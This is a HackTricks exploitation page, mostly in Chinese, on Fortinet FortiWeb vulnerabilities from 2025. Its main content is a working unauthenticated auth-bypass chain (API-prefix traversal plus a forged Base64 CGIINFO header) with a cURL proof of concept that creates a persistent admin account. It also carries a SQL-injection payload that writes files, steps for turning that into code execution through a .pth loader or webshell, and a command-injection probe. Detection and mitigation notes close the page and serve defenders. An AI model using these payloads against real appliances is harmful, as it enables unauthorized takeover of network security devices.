Fortinet FortiWeb — Auth bypass via API-prefix traversal and CGIINFO impersonation

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

概述

Fortinet FortiWeb 在 /cgi-bin/fwbcgi 暴露了一个集中式 CGI 分发器。 一条由两处漏洞构成的链允许未经认证的远程攻击者:

  • 通过以有效的 API 前缀开始 URL 并进行目录遍历来访问 fwbcgi
  • 通过提供一个 CGI 信任为身份的特殊 HTTP header 来冒充任何用户(包括内置的 admin)。

Vendor advisory: FG‑IR‑25‑910 (CVE‑2025‑64446)。已观察到在野外利用该漏洞创建持久的 admin 用户。

受影响的版本(按公开文档):

  • 8.0 < 8.0.2
  • 7.6 < 7.6.5
  • 7.4 < 7.4.10
  • 7.2 < 7.2.12
  • 7.0 < 7.0.12
  • 6.4 ≤ 6.4.3
  • 6.3 ≤ 6.3.23

FortiWeb 8.0.2 对下面的遍历探测返回 HTTP 403。

快速漏洞探测

  • 从 API 前缀到 fwbcgi 的路径遍历:
GET /api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi HTTP/1.1
Host: <target>
  • 解释:HTTP 200 → 可能易受影响;HTTP 403 → 已修补。

根本原因链

  1. 使用 API 前缀的路径遍历到内部 CGI
  • 任何以有效 FortiWeb API 前缀开始的请求路径(例如 /api/v2.0/cmdb//api/v2.0/cmd/)可以通过 ../ 遍历到 /cgi-bin/fwbcgi
  1. 最小请求体验证绕过
  • 一旦到达 fwbcgi,第一个关卡会执行一个宽松的 JSON 检查,该检查由位于 /var/log/inputcheck/ 下的每路径文件作为键。若该文件不存在,检查会立即通过。若存在,请求体只需是有效的 JSON。使用 {} 作为最小合规请求体。
  1. 基于 Header 的用户冒充
  • 程序读取 CGI 环境变量 HTTP_CGIINFO(来自 HTTP header CGIINFO),对其进行 Base64 解码,解析 JSON,并将属性直接复制到登录上下文,设置 domain/VDOM。关注的键:
  • username, loginname, vdom, profname
  • 用于冒充内置 admin 的示例 JSON:
{
"username": "admin",
"profname": "prof_admin",
"vdom": "root",
"loginname": "admin"
}

上述内容的 Base64(实战中使用时):

eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==

端到端滥用模式(unauthenticated → admin)

  1. 通过 API-prefix traversal 到达 /cgi-bin/fwbcgi
  2. 提供任意有效的 JSON 主体(例如 {})以满足输入检查。
  3. 发送请求头 CGIINFO: <base64(json)>,其中 JSON 定义目标身份。
  4. 使用 POST 向 fwbcgi 发送后端期望的 JSON 以执行特权操作(例如,创建管理员用户以维持持久性)。

最小 cURL PoC

  • Probe traversal exposure:
curl -ik 'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
  • 冒充 admin 并创建一个新的本地 admin user:
# Base64(JSON) for admin impersonation
B64='eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ=='

curl -ik \
-H "CGIINFO: $B64" \
-H 'Content-Type: application/json' \
-X POST \
--data '{"data":{"name":"watchTowr","access-profile":"prof_admin","access-profile_val":"0","trusthostv4":"0.0.0.0/0","trusthostv6":"::/0","type":"local-user","type_val":"0","password":"P@ssw0rd!"}}' \
'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'

注意:

  • Any valid JSON body suffices (e.g., {}) if /var/log/inputcheck/<path>.json does not exist.
  • The action schema is FortiWeb-internal; the example above adds a local admin with full privileges.

其他值得快速检查的 FortiWeb 2025 漏洞

预认证 Fabric Connector SQLi → RCE (CVE-2025-25257)

  • 影响 7.6.0–7.6.3、7.4.0–7.4.7、7.2.0–7.2.10、7.0.0–7.0.10。已在 7.6.4 / 7.4.8 / 7.2.11 / 7.0.11 修复。
  • 漏洞:get_fabric_user_by_token()Authorization: Bearer <token> 的值直接用于 SQL 查询。攻击者注入的 SQL 将以 MySQL 用户身份执行,并可通过 SELECT ... INTO OUTFILE 写出文件,从而实现代码执行(webshell/.pth loader)。
  • 典型攻击面:/api/fabric/device/status(以及管理平面通过 HTTP/HTTPS 提供的其他 Fabric Connector 端点)。
  • 快速测试 SQLi:
curl -sk -X POST \
-H "Authorization: Bearer ' UNION SELECT NULL,NULL,NULL,NULL INTO OUTFILE '/data/var/tmp/pwn.txt' -- -" \
https://<host>/api/fabric/device/status
  • 武器化:write a .pth into FortiWeb’s Python site-packages that imports os;os.system(...) on interpreter start, or drop a CGI under the webroot. Reloading services will execute the payload.
  • 侦测线索:Authorization headers containing quotes/UNION/SELECT; unexpected files under /data/lib/python*/site-packages/ or /data/var/waf/html/ROOT/cgi-bin/.

FortiCloud SSO signature bypass (CVE-2025-59719)

  • 不正确的 SAML 签名验证允许攻击者伪造 FortiCloud SSO 响应并在无凭证的情况下以 admin 身份登录。
  • 仅当 FortiCloud SSO login 启用时可被利用(如果通过 GUI 注册了 appliance 则会自动开启,除非取消勾选该复选框)。
  • 受影响版本(根据 PSIRT):8.0.0, 7.6.0–7.6.4, 7.4.0–7.4.9。已在 8.0.1 / 7.6.5 / 7.4.10 中修复。

OS command injection in management plane (CVE-2025-58034)

  • 受影响:7.0.0–7.0.11, 7.2.0–7.2.11, 7.4.0–7.4.10, 7.6.0–7.6.5, 8.0.0–8.0.1。已在 7.0.12 / 7.2.12 / 7.4.11 / 7.6.6 / 8.0.2 修复。
  • 实用探测(非破坏性):向管理平面的 HTTP 端点发送包含 ;id; 的参数,观察是否出现带有命令输出的 500 响应;若看到任何回显,立即封堵或打补丁。

检测

  • 通过包含 ../ 的 API 前缀路径访问 /cgi-bin/fwbcgi 的请求(例如 /api/v2.0/cmdb/.../../../../../../cgi-bin/fwbcgi)。
  • 存在名为 CGIINFO 的 header,其包含的 Base64 编码 JSON 中含有键 username/loginname/vdom/profname
  • Fabric Connector SQLi:Authorization headers containing SQL metacharacters、Python site-packages/CGI 目录中出现突增的文件、来自互联网 IP 的对 /api/fabric/device/status 的访问。
  • FortiCloud SSO:在 /var/log/ssod 中发现异常的 SAML issuer 或 audience 值。
  • 后端痕迹:
  • /var/log/inputcheck/ 下的按路径文件(gate 配置)。
  • 异常的 admin 创建和配置变更。
  • 快速验证:遍历探测返回 200(暴露)与 403(在修复的版本中被阻止)之间的区别。

缓解措施

  • 根据厂商公告升级到修复版本(示例:8.0.2, 7.6.5, 7.4.10, 7.2.12, 7.0.12)。
  • 修补其它 2025 年的漏洞:SQLi (7.6.4/7.4.8/7.2.11/7.0.11), SSO bypass (8.0.1/7.6.5/7.4.10), command injection (7.6.6/7.4.11/7.2.12/7.0.12/8.0.2)。
  • 在打补丁之前:
  • 不要将 FortiWeb 管理平面暴露给不受信任的网络。
  • 添加反向代理/WAF 规则以阻断:
  • /api/ 开头并包含 ../cgi-bin/fwbcgi 的路径。
  • 携带 CGIINFO header 的请求。
  • Authorization 中带有 SQL 元字符的 Fabric Connector 调用。
  • 如果不使用 FortiCloud SSO,则不要从互联网暴露 SAML 端点。
  • 监控并基于上述检测指标报警。

References

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks